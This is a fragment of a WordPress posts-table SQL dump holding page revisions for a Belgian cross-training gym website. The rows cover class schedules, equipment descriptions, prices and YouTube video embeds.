(356, 1, '2013-10-05 08:55:37', '2013-10-05 08:55:37', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:55:37', '2013-10-05 08:55:37', '', 11, 'http://www.crosstrainingcenter.be/11-revision-126/', 0, 'revision', '', 0),
(359, 1, '2013-11-01 08:58:07', '2013-11-01 08:58:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-11-01 08:58:07', '2013-11-01 08:58:07', '', 22, 'http://www2.crosstrainingcenter.be/22-revision-v1/', 0, 'revision', '', 0),
(360, 1, '2013-11-01 09:09:47', '2013-11-01 09:09:47', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/6tWEAsQ_ePQ\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En image', '', 'publish', 'closed', 'open', '', 'en-image', '', '', '2013-11-03 10:23:00', '2013-11-03 10:23:00', '', 0, 'http://www2.crosstrainingcenter.be/?page_id=360', 0, 'page', '', 0),
(361, 1, '2013-11-01 09:09:47', '2013-11-01 09:09:47', 'Retrouvez ici les vidéos illustrant le déroulement des séances.\r\n\r\n&amp;lt;iframe width=\&quot;420\&quot; height=\&quot;315\&quot; src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; frameborder=\&quot;0\&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;\r\n\r\n&amp;nbsp;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:09:47', '2013-11-01 09:09:47', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(362, 1, '2013-11-01 09:10:38', '2013-11-01 09:10:38', ' ', '', '', 'publish', 'open', 'open', '', '362', '', '', '2013-11-03 09:49:54', '2013-11-03 09:49:54', '', 0, 'http://www2.crosstrainingcenter.be/?p=362', 5, 'nav_menu_item', '', 0),
(363, 1, '2013-11-01 09:11:16', '2013-11-01 09:11:16', 'Retrouvez ici les vidéos illustrant le déroulement des séances.\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:11:16', '2013-11-01 09:11:16', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(364, 1, '2013-11-01 09:12:53', '2013-11-01 09:12:53', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&lt;h1&gt;\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h1&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:12:53', '2013-11-01 09:12:53', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(365, 1, '2013-11-01 09:28:40', '2013-11-01 09:28:40', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n\nPrésentation du Cross \n\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\n\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n\n&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\n\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/table&gt;\n\n', 'En image', '', 'inherit', 'open', 'open', '', '360-autosave-v1', '', '', '2013-11-01 09:28:40', '2013-11-01 09:28:40', '', 360, 'http://www2.crosstrainingcenter.be/360-autosave-v1/', 0, 'revision', '', 0),
(374, 1, '2013-11-01 09:23:23', '2013-11-01 09:23:23', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:23:23', '2013-11-01 09:23:23', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(366, 1, '2013-11-01 09:15:12', '2013-11-01 09:15:12', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&lt;br&gt;\r\n&lt;br&gt;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Ouverture de notre Cross Training Limelette&lt;/h&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Présentation de notre Cross Training Namur&lt;/h&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:15:12', '2013-11-01 09:15:12', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(367, 1, '2013-11-01 09:16:47', '2013-11-01 09:16:47', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:16:47', '2013-11-01 09:16:47', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(368, 1, '2013-11-01 09:17:07', '2013-11-01 09:17:07', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:17:07', '2013-11-01 09:17:07', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(370, 1, '2013-11-01 09:19:34', '2013-11-01 09:19:34', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:19:34', '2013-11-01 09:19:34', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(369, 1, '2013-11-01 09:17:32', '2013-11-01 09:17:32', '&lt;blockquote&gt;\r\n&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;315\&quot; width=\&quot;420\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:17:32', '2013-11-01 09:17:32', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(371, 1, '2013-11-01 09:21:36', '2013-11-01 09:21:36', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:21:36', '2013-11-01 09:21:36', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
